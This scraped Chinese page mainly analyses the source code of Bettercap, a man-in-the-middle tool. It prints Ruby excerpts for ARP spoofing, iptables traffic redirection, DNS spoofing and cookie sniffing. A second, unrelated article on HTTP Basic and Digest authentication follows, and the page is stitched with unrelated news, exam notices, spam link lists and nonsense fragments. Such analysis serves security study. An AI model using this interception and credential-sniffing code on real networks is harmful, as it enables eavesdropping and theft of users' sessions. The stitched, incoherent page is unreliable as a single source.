MITM渗透工具Bettercap源码分析

原创作者:Elie,本文属Freebuf原创奖励计划,未经许可禁止转载

简介

BetterCAP是一个强大,灵活和可移植的工具,用来为执行各种网络类型的MITM攻击,实时操纵HTTP,HTTPS和TCP流量,嗅探凭据等等。

Bettercap同时是一款采用Ruby编写的开源的软件,我们可以分析源码,来剖析软件的实现。

目录结构

lib/
├── bettercap
│   ├── banner
│   ├── context.rb           核心文件
│   ├── discovery            主机发现
│   │   ├── agents
│   │   │   ├── arp.rb
│   │   │   ├── base.rb
│   │   │   ├── icmp.rb
│   │   │   └── udp.rb
│   │   └── thread.rb
│   ├── error.rb
│   ├── firewalls            端口重定向
│   │   ├── base.rb
│   │   ├── bsd.rb
│   │   ├── linux.rb
│   │   └── redirection.rb
│   ├── loader.rb
│   ├── logger.rb            日志
│   ├── memory.rb
│   ├── monkey                对依赖第三方库类的扩充
│   │   ├── celluloid
│   │   │   ├── actor.rb
│   │   │   └── io
│   │   │       └── udp_socket.rb
│   │   ├── em-proxy
│   │   │   └── proxy.rb
│   │   ├── openssl
│   │   │   └── server.rb
│   │   ├── packetfu
│   │   │   ├── pcap.rb
│   │   │   └── utils.rb
│   │   └── system.rb
│   ├── network
│   │   ├── arp_reader.rb
│   │   ├── hw-prefixes
│   │   ├── network.rb
│   │   ├── packet_queue.rb
│   │   ├── protos             实现部分协议,parser(解析器)需要用到
│   │   │   ├── base.rb
│   │   │   ├── dhcp.rb
│   │   │   ├── mysql.rb
│   │   │   ├── ntlm.rb
│   │   │   └── snmp.rb
│   │   ├── servers
│   │   │   ├── dnsd.rb            DNS服务
│   │   │   └── httpd.rb
│   │   ├── services
│   │   ├── target.rb
│   │   └── validator.rb
│   ├── options                    命令行参数解析
│   │   ├── core_options.rb
│   │   ├── options.rb             参数解析
│   │   ├── proxy_options.rb       代理功能参数解析
│   │   ├── server_options.rb      server功能呢参数解析
│   │   ├── sniff_options.rb       sniff功能参数解析
│   │   └── spoof_options.rb       spoof功能参数解析
│   ├── pluggable.rb                 模块基类
│   ├── proxy                        代理模块实现(数据的拦截及篡改)
│   │   ├── http
│   │   │   ├── module.rb            模块(插件)基类
│   │   │   ├── modules
│   │   │   │   ├── injectcss.rb
│   │   │   │   ├── injecthtml.rb
│   │   │   │   └── injectjs.rb      注入js代码的模块(插件)
│   │   │   ├── proxy.rb             http代理实现
│   │   │   ├── request.rb
│   │   │   ├── response.rb
│   │   │   ├── ssl
│   │   │   │   ├── authority.rb
│   │   │   │   ├── bettercap-ca.pem
│   │   │   │   └── server.rb
│   │   │   ├── sslstrip
│   │   │   │   ├── cookiemonitor.rb
│   │   │   │   ├── lock.ico
│   │   │   │   └── strip.rb
│   │   │   └── streamer.rb        http代理数据处理
│   │   ├── stream_logger.rb
│   │   ├── tcp
│   │   │   ├── module.rb
│   │   │   └── proxy.rb
│   │   └── thread_pool.rb         线程池
│   ├── shell.rb
│   ├── sniffer                    sniffer功能的实现
│   │   ├── parsers                可以解析的数据包类型
│   │   │   ├── base.rb
│   │   │   ├── cookie.rb
│   │   │   ├── creditcard.rb
│   │   │   ├── custom.rb
│   │   │   ├── dhcp.rb
│   │   │   ├── dict.rb
│   │   │   ├── ftp.rb
│   │   │   ├── httpauth.rb
│   │   │   ├── https.rb
│   │   │   ├── irc.rb
│   │   │   ├── mail.rb
│   │   │   ├── mpd.rb
│   │   │   ├── mysql.rb
│   │   │   ├── nntp.rb
│   │   │   ├── ntlmss.rb
│   │   │   ├── pgsql.rb
│   │   │   ├── post.rb
│   │   │   ├── redis.rb
│   │   │   ├── rlogin.rb
│   │   │   ├── snmp.rb
│   │   │   ├── snpp.rb
│   │   │   ├── url.rb
│   │   │   └── whatsapp.rb
│   │   └── sniffer.rb
│   ├── spoofer                    欺骗功能的实现
│   │   ├── arp.rb
│   │   ├── base.rb
│   │   ├── icmp.rb
│   │   └── none.rb
│   ├── update_checker.rb
│   └── version.rb
└── bettercap.rb

23 directories, 94 files

源码分析

全局介绍

目录结构部分已经注明部分重要的文件以及文件夹的功能。其中lib/bettercap/context.rb文件中的BetterCap::Context类为BetterCap的一个核心的单例类。lib/bettercap/options/options.rb文件中的BetterCap::Options为命令行参数解析类

入口分析

/bin/bettercap BetterCap的启动文件输出Banner之后,核心的两行代码

ctx = BetterCap::Options.parse!
ctx.start!

进行解析命令行参数,返回一个BetterCap::Context的实例,同时调用ctx这个实例的start!函数

可以看出程序的核心入口在BetterCap::Context.start!函数中

lib/bettercap/context.rb

def start!
  # Start targets auto discovery.
  @discovery.start    
  # 如果没有指定具体的主机发现,将进行自动主机发现,添加到攻击目标列表中

  # Start network spoofers if any.
  @spoofer.each do |spoofer|
  # 遍历指定的网络欺骗类型,默认ARP
    spoofer.start
    # 开始对目标列表进行欺骗
  end

  # Start proxies and setup port redirection.
  if @options.proxies.any?
  # 有没有配置拦截,或者篡改数据的相关选项
    if ( @options.proxies.proxy or @options.proxies.proxy_https ) and @options.sniff.enabled?('URL')
    # 如果同时指定的http或者https数据拦截篡改的同时开启了sniff url的功能输入一个警告
      BetterCap::Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs."
    end
    create_proxies!
    # 开始创建代理,用来进行数据包的拦截篡改
  end

  enable_port_redirection!
  # 配置端口重定向,
  # 例如实现目标地址为80端口的数据包全部重定向到上面创建的http代理中,实现对数据包的拦截篡改
  # 把目标地址为53的数据包,重定向到下面开启的DNS服务中(5300端口)从而实现DNS欺骗
  # 等

  create_servers!
  # 根据命令行参数,创建DNS服务器以及HTTP服务

  # Start network sniffer.
  if @options.sniff.enabled?
  # 是否开启sniff功能呢
    Sniffer.start self
    # 开始进行Sniffer功能
  elsif @options.spoof.enabled? and [email protected]?
    Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '\
                'will cause the MITM to run but no data to be collected.'
  end
end

可以看到上面6处主要功能

  • 主机发现
  • 网络欺骗
  • 端口重定向(用来实现把所有我们想要拦截篡改的目标端口的数据包重定向到代理端口中)
  • 数据包的拦截和篡改
  • DNS欺骗
  • 数据包的sniff

主机发现功能的实现

命令参数options.core.discovery默认为true,也就是进行存活主机发现,如果命令行参数中有–no-discovery,则options.core.discovery = false

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def initialize
  @discovery    = Discovery::Thread.new self
end

def start!
  @discovery.start # 开始探测存活主机
  ...
end

lib/bettercap/discovery/thread.rb

module BetterCap
module Discovery
class Thread
  def start
    @running = true
    @thread  = ::Thread.new { worker }    # 新建一个线程,跑 worker函数,功能是主机发现

    if @ctx.options.core.discovery?        # 如果开启主机发现,sleep 1.5 秒, 让主机发现线程先跑1.5秒
      sleep(1.5)
    end
  end
  def worker
    ...
    prev = []       
    while @running
      # -T 参数指定的目标主机,如果没有指定目标,则进行存活主机发现,存活的主机,全部加入到目标主机
      if @ctx.options.core.targets.nil?      
        @ctx.targets = Network.get_alive_targets(@ctx).sort_by {      # 进行存活主机发现
          |t| t.sortable_ip
        }
      end

      # 循环中
      # [email protected], 与上一次的目标主机列表prev 不同,在命令行打印出来
      print_differences( prev ) if @ctx.options.core.discovery?

      prev = @ctx.targets       # 记录当前目标主机列表

      @ctx.memory.optimize!
      sleep(1) if @ctx.options.core.discovery?
    end
  end
end
end
end
end

lib/bettercap/network/network.rb

def get_alive_targets( ctx )
  if ctx.options.core.discovery?    # 主机发现默认开启
    start_agents( ctx )                # 发送广播包
  end

  ArpReader.parse ctx                # 读取arp缓存表,获取存活的主机
end

def start_agents( ctx, address = nil )
  # 使用 icmp ud arp 三种协议,创建广播包(lib/bettercap/discovery/agents)push进入ctx.packets这个数据包发送列队(BetterCap::Network::PacketQueue)
  # 具体过程参考
  # lib/bettercap/discovery/agents/base.rb
  # lib/bettercap/network/packet_queue.rb
  [ 'Icmp', 'Udp', 'Arp' ].each do |name|
    BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address)
  end
  # 等待数据包发送列队,把数据包全部发送出去
  ctx.packets.wait_empty( ctx.timeout )
end

lib/bettercap/network/arp_reader.rb

module BetterCap
module Network
class ArpReader
    def self.parse( ctx )
    targets = []
    self.parse_cache do |ip,mac|      # 解析换从表,传递一个block
      if ip != ctx.gateway.ip and ip != ctx.iface.ip
        if ctx.options.core.ignore_ip?(ip)
          Logger.debug "Ignoring #{ip} ..."
        else
          # reuse Target object if it's already a known address
          known = ctx.find_target ip, mac
          if known.nil?
            # 发现新的存活主机,扔进数组中
            targets << Target.new( ip, mac )
          else
            targets << known
          end
        end
      end
    end
    targets   # 将新发现的存活主机返回
  end

  def self.parse_cache
    iface = Context.get.iface.name
    Shell.arp.split("\n").each do |line|    # Shell.arp 就是执行 LANG=en && arp -a -n 参考 lib/bettercap/shell.rb
      m = self.parse_cache_line(iface,line) # 正则匹配缓存表每一行
      unless m.nil?
        ip = m[1]
        hw = Target.normalized_mac( m[2] )
        if hw != 'FF:FF:FF:FF:FF:FF'
          yield( ip, hw )                   # call block
        end
      end
    end
  end

  def self.parse_cache_line( iface, line )
    if RUBY_PLATFORM =~ /openbsd/i
      /([0-9\.]+)\s+([a-f0-9:]+)\s+#{iface}\s+./i.match(line)
    else
      /[^\s]+\s+\(([0-9\.]+)\)\s+at\s+([a-f0-9:]+).+#{iface}./i.match(line)
    end
  end
end
end
end

网络欺骗功能的实现

命令行参数-S 指定 网络欺骗使用的协议,默认为arp

lib/bettecap/options/spoof_options.rb

def initialize
  @spoofer     = 'ARP'
  @half_duplex = false
  @kill        = false
end
//可以使用-S指定多个协议
def parse_spoofers
  valid = []
  @spoofer.split(",").each do |module_name|
    valid << Spoofers::Base.get_by_name( module_name )    //讲指定spoofer的对象存放到数组并返回
  end
  valid
end

lib/bettercap/context.rb

@spoofer.each do |spoofer|
  spoofer.start //调用spoofer的start函数
end

以ARP协议为例

lib/bettercap/spoofers/arp.rb

def send_spoofed_packet( saddr, smac, daddr, dmac )
  pkt = PacketFu::ARPPacket.new
  pkt.eth_saddr = smac
  pkt.eth_daddr = dmac
  pkt.arp_saddr_mac = smac
  pkt.arp_daddr_mac = dmac
  pkt.arp_saddr_ip = saddr
  pkt.arp_daddr_ip = daddr
  pkt.arp_opcode = 2            //发送arp响应包

  @ctx.packets.push(pkt)
end

def start
    ...
  @sniff_thread = Thread.new { arp_watcher }        //创建一个线程监听arp广播包
  @spoof_thread = Thread.new { arp_spoofer }        //
  ...
end

def arp_watcher
    ...
  sniff_packets('arp') { |pkt|            //数据包是一个arp数据包
    if is_arp_query?(pkt)                        //是一个arp请求的数据包
      Logger.info "[#{'ARP'.green}] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
      send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.iface.mac, pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s                    //发送arp响应包,欺骗原地址主机,目标的IP地址对应的mac,是自己的mac
    end
  }
end

def arp_spoofer
  spoof_loop(1) { |target|
    if target.spoofable?
      spoof(target)            //调用spoof
    end
  }
end

 def spoof( target, restore = false )        // restore = true,用户程序停止时,恢复目标主机mac地址表
  if restore
      //恢复目标主机的网关IP MAC映射关系
    send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
    //恢复网关的目标主机IP MAC映射关系
    send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.spoof.half_duplex
    ...
  else
    //欺骗目标,冒充网关
    send_spoofed_packet( @ctx.gateway.ip, @ctx.iface.mac, target.ip, target.mac )
    //欺骗网关,冒充目标
    send_spoofed_packet( target.ip, @ctx.iface.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex
    ...
  end
end

端口转发功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    rection!   # 创建端口转发,拦截数据并转发到代理端口上

lib/bettercap/context.rb

# Apply needed BetterCap::Firewalls::Redirection objects.
  def enable_port_redirection!
    # 获取需要端口转发的规则
    @redirections = @options.get_redirections(@iface) 
    # 遍历转发规则(Firewalls::Redirection的实例)
    @redirections.each do |r|
      Logger.debug "Redirecting #{r.protocol} traffic from #{r.src_address.nil? ? '' : r.src_address}:#{r.src_port} to #{r.dst_address}:#{r.dst_port}"
      # 进行端口转发
      @firewall.add_port_redirection( r )
    end
  end

lib/options/options.rb

def get_redirections iface
    if @proxies.proxy
        redirections << redir( iface.ip, port, @proxies.proxy_port )

lib/options/options.rb

def redir( address, port, to, proto = 'TCP' )
  Firewalls::Redirection.new( @core.iface, proto, nil, port, address, to )
end

Firewalls::Redirection的实例即为需要端口转发的规则

lib/bettercap/firewalls/linux.rb

def add_port_redirection( r )
    # post route
    Shell.execute('iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE')
    # accept all
    Shell.execute('iptables -P FORWARD ACCEPT')
    # add redirection
    Shell.execute("iptables -t nat -A PREROUTING -i #{r.interface} -p #{r.protocol} #{r.src_address.nil? ? '' : "-d #{r.src_address}"} --dport #{r.src_port} -j DNAT --to #{r.dst_address}:#{r.dst_port}")
  end

将特定端口的所有数据,重定向到代理端口上去

数据包拦截篡改功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    if @options.proxies.any?
        create_proxies!        # 创建代理(数据包处理) 默认监听8080端口
    end

    enable_port_redirection!   # 创建端口转发,拦截数据并转发到代理端口上

def create_proxies!
    @proxies << Proxy::HTTP::Proxy.new( @iface.ip, @options.proxies.proxy_port, false )

    @proxies.each do |proxy|
      proxy.start
    end

上面以及分析过端口转发功能的实现,只需要创建代理之后,把所有的数据包重定向到我们的代理端口上就可以对数据包进行拦截和篡改

以http代理举例分析

lib/proxy/http/proxy.rb``BetterCap::Proxy::HTTP::Proxy``initialize函数中 中创建一个线程池@pool,使用client_worker client处理数据start函数中创建代理服务,使用server_thread函数中IO.select(sockets)处理每一个发送过来的请求,并发送到线程池 @pool << io

client_worker函数解析http请求,调用@streamer.handle( request, client )[email protected]( request, client )中获取响应结果后,调用process( request, response ),来间接调用BetterCap::Proxy::HTTP::Module.modules(--proxy-module hack_titleon_request函数来对数据包进行篡改操作,最后调用client.write response.to_s,向受害者返回响应数据包

从而完成对数据包的拦截和篡改

DNS欺骗功能的实现

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/options/server_options.rb

opts.on( '--dns FILE', 'Enable DNS server and use this file as a hosts resolution table.' ) do |v|
  @dnsd      = true            # 如果参数中配置了 --dns /tmp/hosts.txt, [email protected] = true
  @dnsd_file = File.expand_path v    [email protected]_file
end

opts.on( '--dns-port PORT', "Set DNS server port, default to [email protected]_port.to_s.yellow}." ) do |v|
  raise BetterCap::Error, "Invalid port '#{v}' specified." unless Network::Validator.is_valid_port?(v)
  @dnsd_port = v.to_i        # 设置DNS server监听端口
end

lib/bettercap/context.rb

def start!
  ...
  enable_port_redirection!
  create_servers!
  ...
end

def enable_port_redirection!
  @redirections = @options.get_redirections(@iface)        # 获取端口重定向规则
  @redirections.each do |r|
    Logger.debug "Redirecting #{r.protocol} traffic from #{r.src_address.nil? ? '' : r.src_address}:#{r.src_port} to #{r.dst_address}:#{r.dst_port}"
    @firewall.add_port_redirection( r )                    # 依据重定向规则进行端口重定向
  end
end

def create_servers!
  # Start local DNS server.
  if @options.servers.dnsd        # 如果使用了--dns 参数,则为true
    Logger.warn "Starting DNS server with spoofing disabled, bettercap will only reply to local DNS queries." unless @options.spoof.enabled?

    @dnsd = Network::Servers::DNSD.new( @options.servers.dnsd_file, @iface.ip, @options.servers.dnsd_port )        # 实例化一个dns服务对象
    @dnsd.start                     # 跑起来服务
  end
  ...
end

端口重定向规则的获取lib/bettercap/options/options.rb

def get_redirections iface
  redirections = []

  if @servers.dnsd or @proxies.sslstrip?
      # 新建转发规则,把目的地址为53的tcp,udp数据包全部重定向到dns server port上,默认为5300
    redirections << redir( iface.ip, 53, @servers.dnsd_port )    
    redirections << redir( iface.ip, 53, @servers.dnsd_port, 'UDP' )
  end
  ...
  redirections
end

使用了RubyDNS创建DNS Server,依赖rubydns gem,具体实现参考RubyDNS,只分析关键代码lib/bettercap/network/servers/dnsd.rb

options = {                        # RubyDNS的配置
  :listen => @ifaces,
  :asynchronous => true,
  :server_class => DnsWrapper    # 自定义dns解析处理类,方便ob 目标主机的DNS的解析
}

RubyDNS::run_server( options ) do    # 使用RubyDNS跑起来一个 DNS Server
    @logger.level = ::Logger::ERROR
    @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])

    # 默认DNS查询处理,使用 8.8.8.8
    otherwise do |transaction|
      Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
      transaction.passthrough!(@upstream)
    end
end

unless @hosts.nil?            # @hosts 在实例初始化时候赋值,[email protected]_file, 也就是指定的要进行欺骗的DNS文件路径
  DNSD.parse_hosts( @hosts ).each do |exp,addr|        # 解析文件, 格式 exp为域名或者匹配域名的正则表达式,addr为解析到的IP地址
    add_rule!( exp, addr )    # 添加到dns查询规则里面
  end
end

def add_rule!( exp, addr )
  Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."

  block = Proc.new do |transaction|        # 创建一个 当前这个dns解析的block
    Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
    transaction.respond!(addr)
  end

  DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block )    
  # 新建一个RubyDNS::RuleBasedServer::Rule实例,存放到当前DNS Server的规则表中
end

到此为止,当目标机,发送DNS请求,如果查询的域名,存在在我们的dns.txt文件中,或者能够被文件中的域名正则匹配到,就直接使用dns.txt文本中,对应的ip作为dns解析结果进行回应。达到DNS欺骗的目的。

捕获特定数据包的解析

bin/bettercap

ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb

def start!
    # Start network sniffer.
    if @options.sniff.enabled?
      Sniffer.start self         #sniff数据包  在一个新的线程里面运行
    elsif @options.spoof.enabled? and [email protected]?    
    #如果同时开启了欺骗的同时开启了代理模式(数据包的篡改)输出一个警告
      Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '\
                  'will cause the MITM to run but no data to be collected.'
    end

lib/bettercap/sniff/sniff.rb

def self.start( ctx )
  Thread.new {
  Logger.debug 'Starting sniffer ...'

  setup( ctx )  # 创建一个PacketFu::Capture对象,进行网卡监听 @@cap

  start     = Time.now
  skipped   = 0
  processed = 0

  self.stream.each do |raw_packet|    #self.stream 即为 @@cap.stream, 遍历监听到的数据包
    break unless @@ctx.running        #退出循环,如果程序结束
    begin
      parsed = PacketFu::Packet.parse(raw_packet)  #解析数据包,返回响应的Packet子类对象
    rescue Exception => e
      parsed = nil
    end

    if skip_packet?(parsed)      # 判断是非为目标主机的数据包,如果不是目标数据包,则跳过
      skipped += 1
    else
      processed += 1            # 如果是目标主机数据包
      append_packet raw_packet    # 如果参数设置了数据包记录文件,则将数据包写入到文件中
      parse_packet parsed        # 解析数据包,关键代码
    end
  end

  stop = Time.now
  delta = ( stop - start )  1000.0
  total = skipped + processed

  Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} ms ( #{skipped} skipped packets, #{processed} processed packets )"
}
end

lib/bettercap/sniff/sniff.rb

def self.parse_packet( parsed )
  # @@parsers 数组,存放要进行数据包类型判断对象
  @@parsers.each do |parser|            #遍历所有对象
    begin
      parser.on_packet parsed            #对当前数据进行解析判断,如果解析成功,则输出。 关键代码
    rescue Exception => e
      Logger.exception e
    end
  end
end

数据包解析类的父类为BetterCap::Parsers::Base数据包解析类都存放在lib/bettercap/sniffer/parsers/文件夹中,支持的解析类型为

➜  bettercap git:(master) ✗ ls lib/bettercap/sniffer/parsers
base.rb       creditcard.rb dhcp.rb       ftp.rb        https.rb      mail.rb       mysql.rb      ntlmss.rb     post.rb       rlogin.rb     snpp.rb       whatsapp.rb
cookie.rb     custom.rb     dict.rb       httpauth.rb   irc.rb        mpd.rb        nntp.rb       pgsql.rb      redis.rb      snmp.rb       url.rb

@@parsers的赋值在lib/bettercap/sniff/sniff.rb

#setup( ctx )的时候
def self.setup( ctx )
  ...
  if @@ctx.options.sniff.custom_parser.nil?
    # 根据命令行参数,加载置顶的解析类,也就是所有的解析类实例化,存放到@@parsers
    @@parsers = Parsers::Base.load_by_names @@ctx.options.sniff.parsers
  else
    # 命令行自定义解析的正则
    @@parsers = Parsers::Base.load_custom @@ctx.options.sniff.custom_parser
  end

@@ctx.options.sniff.parsers的由来lib/bettercap/options/sniff_options.rb

# 默认为全部解析器
def initialize
 @parsers       = ['']
end
# 或者为指定的一个或多个
opts.on( '-P', '--parsers PARSERS', "Comma separated list of packet parsers to enable, '' for all ( NOTE: Will set -X to true ), available: #{Parsers::Base.available.map { |x| x.yellow }.join(', ')} - default: #{''.yellow}" ) do |v|
  @enabled = true
  @parsers = Parsers::Base.from_cmdline(v)        #根据命令行返回指定的解析器的类名
end

Parsers::Base.load_by_names函数,实例化指定的解析器类,或者所有的解析器类(除了BetterCap::Parsers::Custom)。

实例化的解析器对象,被依次调用on_packet方法,处理当前的数据包例如lib/bettercap/sniffer/parsers/cookie.rb

module BetterCap
module Parsers
# HTTP cookies parser.
class Cookie < Base
  # Cookies to ignore.
  FILTER = [ '__cfduid', '_ga', '_gat' ].freeze

  def on_packet( pkt )
    hostname = nil
    cookies = {}

    pkt.to_s.split("\n").each do |line|        # 匹配HTTP头部的 Host 以及 Cookie
      if line =~ /Host:\s([^\s]+)/i
        hostname = $1
      elsif line =~ /.Cookie:\s(.+)/i
        $1.strip.split(';').each do |v|
          k, v = v.split('=').map(&:strip)
          next if k.nil? or v.nil?
          unless k.empty? or v.empty? or FILTER.include?(k)
            cookies[k] = v
          end
        end
      end
    end

    unless hostname.nil? or cookies.empty?        # 如果同时匹配到了
      StreamLogger.log_raw( pkt, "COOKIE", "[#{hostname.yellow}] #{cookies.map{|k,v| "#{k.green}=#{v.yellow}"}.join('; ')}" )        # 输出对应host的cookie
    end
  end
end
end
end

程序的停止

lib/bettercap

begin
...
ensure
  # Make sure all the messages on the logger queue are printed.
  BetterCap::Logger.wait!

  ctx.finalize unless ctx.nil?
end

lib/bettercap/context.rb

def finalize
  @running = false            [email protected],很多线程就会停止工作
  @discovery.stop             //停止主机发现

  @spoofer.each do |spoofer|
    spoofer.stop                 //停止spoofer
  end

  @packets.stop                 //停止sniff

  @proxies.each do |proxy|
    proxy.stop                     //停止代理程序
  end

  @redirections.each do |r|
    @firewall.del_port_redirection( r )            //删除本机端口重定向规则
  end

  @firewall.restore                                             //刷新本纪端口重定向信息

  @dnsd.stop unless @dnsd.nil?                         //停止dnsd
  @httpd.stop unless @httpd.nil?                     //停止httpd
end

原创作者:Elie,本文属Freebuf原创奖励计划,未经许可禁止转载

天津一排污单位篡改自动监测数据被罚38.85万元

猜您喜欢

UCloud推出运维审计系统 提升风控水平
The baby will not pick seat safety, the burning brain training habits to wits (practical, detailed and comprehensive) http://www.chinacybersafety.com/2017032711673.html
企鹅伴成长 腾讯携手联合国儿童基金会共同保护儿童上网安全
安全月安全生产教育动画片——小李的一天
BATDONGSANHUNGYEN PCOATING
信息安全理论还是实践
个人信息泄露危害大,沃通多场景保护个人信息安全

HTTP认证的底层技术简析与揭秘

http.jpg

写在前面的话

HTTP认证实现的基础是Web服务器与浏览器之间能够安全地交换类似用户名和密码这样的用户凭证,我们也可以把HTTP认证当作是摘要验证(Digest Authentication),这种预定义方法/标准在HTTP协议中使用了编码技术和MD5加密哈希。在这篇文章中,我们将会跟大家详细讨论一下HTTP认证所采用的技术和标准。为了方便大家的理解,本文将使用我们自己编写的一个php脚本,它可以方便地帮助我们捕获用户名和密码。脚本下载

使用Base64编码的基本访问认证

在了解基本认证这一部分中,我们将使用base64编码来生成我们的加密字符串,这个字符串中将包含用户名和密码。需要注意的是,我们这里还可以选择使用其他的编码技术,例如URL编码或十六进制编码等等。

在下面给出的这个列子中,我们使用Burpsuite捕捉到了用户请求。我们可以看到,Web页面正在向客户端请求输入认证数据:

2.png

我们输入的用户名是“hackingarticles”,密码为“ignite”。

基本认证所采用的请求语句如下:

Value = username:password

Encoded Value =  base64(Value)

Authorization Value = Basic <Encoded Value> 

在基本认证过程中,用户名和密码会被组合成一个单独的字符串,并且使用冒号进行分割。

Value =  hackingarticles:ignite

接下来,浏览器会用base64来对这个字符串进行编码。

3.png

“hackingarticles:ignite”在经过base64编码之后的值即为“aGFja2luZ2FydGljbGVzOmlnbml0ZQ==”。

最终的认证值(Authorization Value)就是“字符串‘Basic’+空格+编码后的值”,Burpsuite捕获的请求如下图所示:

4.png

在这个例子中的认证值就是“Basica GFja2luZ2FydGljbGVzOmlnbml0ZQ==”,而这个值将会被发送至服务器端。最后,服务器会解密这个认证值,然后返回用户输入的凭证。

5.png

基本认证是非常不安全的,因为这里仅仅只使用了编码技术,而认证值是可以被解码的。为了增强认证的安全性,我们接下来会讨论其他一些安全系数更高的标准。

RFC 2069摘要访问认证

摘要访问认证使用了哈希算法来生成加密之后的结果。RFC2069现在已经过时了,目前广泛使用的是RFC 2617,它是RFC2069的增强版。为了让大家更好地理解RFC 2069所使用的请求语句,我们在下面给出了RFC2069的语句样例:

Hash1=MD5(username:realm:password)

Hash2=MD5(method:digestURI)

response=MD5(Hash1:nonce:Hash2)

Hash1(username:realm:password)中包含的是用户名和密码的MD5哈希值,其中的“rea1m”可以是服务器端提供的任意字符串,而用户名和密码则由客户端输入。

Hash2(method:digestURI)中包含的是请求方法和摘要地址的MD5哈希值,请求方法(method)可以是GET或POST,具体需要根据页面所使用的请求方法来确定,而摘要地址(digestURI)则是发送请求的页面地址。

response(hash1:nounce:hash2)中的值是最后需要发送给服务器端的字符串,其中包含的是刚才生成的hash1和hash2,以及一个任意字符串nonce,这个nonce字符串由服务器端发送给客户端,且只能使用一次(相当于一次性验证码)。

RFC 2617摘要访问认证

RFC 2617摘要认证同样使用了MD5哈希算法,但是最终哈希值的生成还需要涉及到一些额外的参数。RFC2617的请求语句如下所示:

Hash1=MD5(username:realm:password)

Hash2=MD5(method:digestURI)

response=MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2)

与之前一样,Hash1(username:realm:password)中包含的是用户名和密码的MD5哈希值,其中的“rea1m”可以是服务器端提供的任意字符串,而用户名和密码则由客户端输入。

Hash2(method:digestURI)中包含的是请求方法和摘要地址的MD5哈希值,请求方法(method)可以是GET或POST,具体需要根据页面所使用的请求方法来确定,而摘要地址(digestURI)则是发送请求的页面地址。

response((Hash1:nonce:nonceCount:cnonce:qop:Hash2)中的值是最后需要发送给服务器端的字符串,其中包含的是刚才生成的hash1和hash2以及一些额外参数。如果你想了解这些额外参数的话,可以参考微软发布的这篇技术文章【点我点我】。

接下来,我们会给大家介绍RFC 2617的工作机制。首先,Web页面会向客户端请求输入数据:

6.png

我们输入的用户名为“guest”,密码同样为“guest”。在Burpsuite的帮助下,我们捕获到了浏览器发送的请求以及所有的参数,现在我们就可以用其他哈希计算工具来生成输入数据的哈希值,然后再用我们自己生成的数据来与捕获到的哈希数据进行对比。

7.png

我们捕获到的哈希值以及相应参数如下所示:

realm=”Hacking Articles”,nonce=”58bac26865505″, uri=”/auth/02-2617.php”, opaque=”8d8909139750c6bd277cfe1388314f48″,qop=auth, nc=00000001, cnonce=”72ae56dde9406045″ , response=”ac8e3ecd76d33dd482783b8a8b67d8c1″,

Hash1 Syntax=MD5(username:realm:password)

hash1 =  md5(guest:Hacking Articles:guest)

我们自己用工具计算出的MD5哈希值如下所示:

guest:Hacking Articles:guest

Hash:2c6165332ebd26709360786bafd2cd49

8.png

GET:/auth/02-2617.php

Hash:b6a6df472ee01a9dbccba5f5e6271ca8

9.png

response =MD5(2c6165332ebd26709360786bafd2cd49:58bac26865505:00000001:72ae56dde9406045:auth:b6a6df472ee01a9dbccba5f5e6271ca8)

Hash:ac8e3ecd76d33dd482783b8a8b67d8c1

10.png

没错,我们通过Hash Calculator(哈希计算器)自行计算出的哈希值与我们通过Burpsuite捕获到的哈希值是完全一样的。

最后,服务器会解密response的值,输出结果如下图所示:

11.png

总结

我们在这篇文章中跟大家分析了当前HTTP认证的底层加密技术,希望这些内容可以帮助到各位白帽子,给大家在挖洞的过程中提供灵感。

参考来源:networkworld, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

包含消防预案与演练的在线EHS动画培训课程

猜您喜欢

潮流网络推出企业无线覆盖解决方案
周宏春:分享经济为绿色发展添砖加瓦 http://news.keepred.cn/201703256337.html
无线网络安全之无线路由器隐身
面向企业员工的HSE基础知识扫盲式在线学习教程
KFC FOURPAWS
身份窃贼产业分析
潮流网络推出企业无线覆盖解决方案

计算机等级考试就要来了,你准备好了吗

2017年3月(第48次)全国计算机等级考试
计算机考试眼看着计算机考试将至,不知各位有何感想。下面我们就给你们介绍一下一级计算机考试的基本事项。
考试信息
1、考试时间:2017年3月25-28日、9月23-26和12月9日

世界移动通信大会开幕通信概念股全面“提速”

2、考试科目:计算机一级、计算机二级、计算机三级、计算机四级
3、官方网站:各地教育考试院网站汇总
4、报名入口:各地报名汇总
5、成绩查询:教育部考试中心综合查询网成绩查询入口
一级考试
1考试大纲

张店开展环卫工人安全教育培训 健全管理制度

我们定期审核以往发布的消息,以确保这些信息得以更新,并且真实可靠,信息安全不仅仅是防黑客。
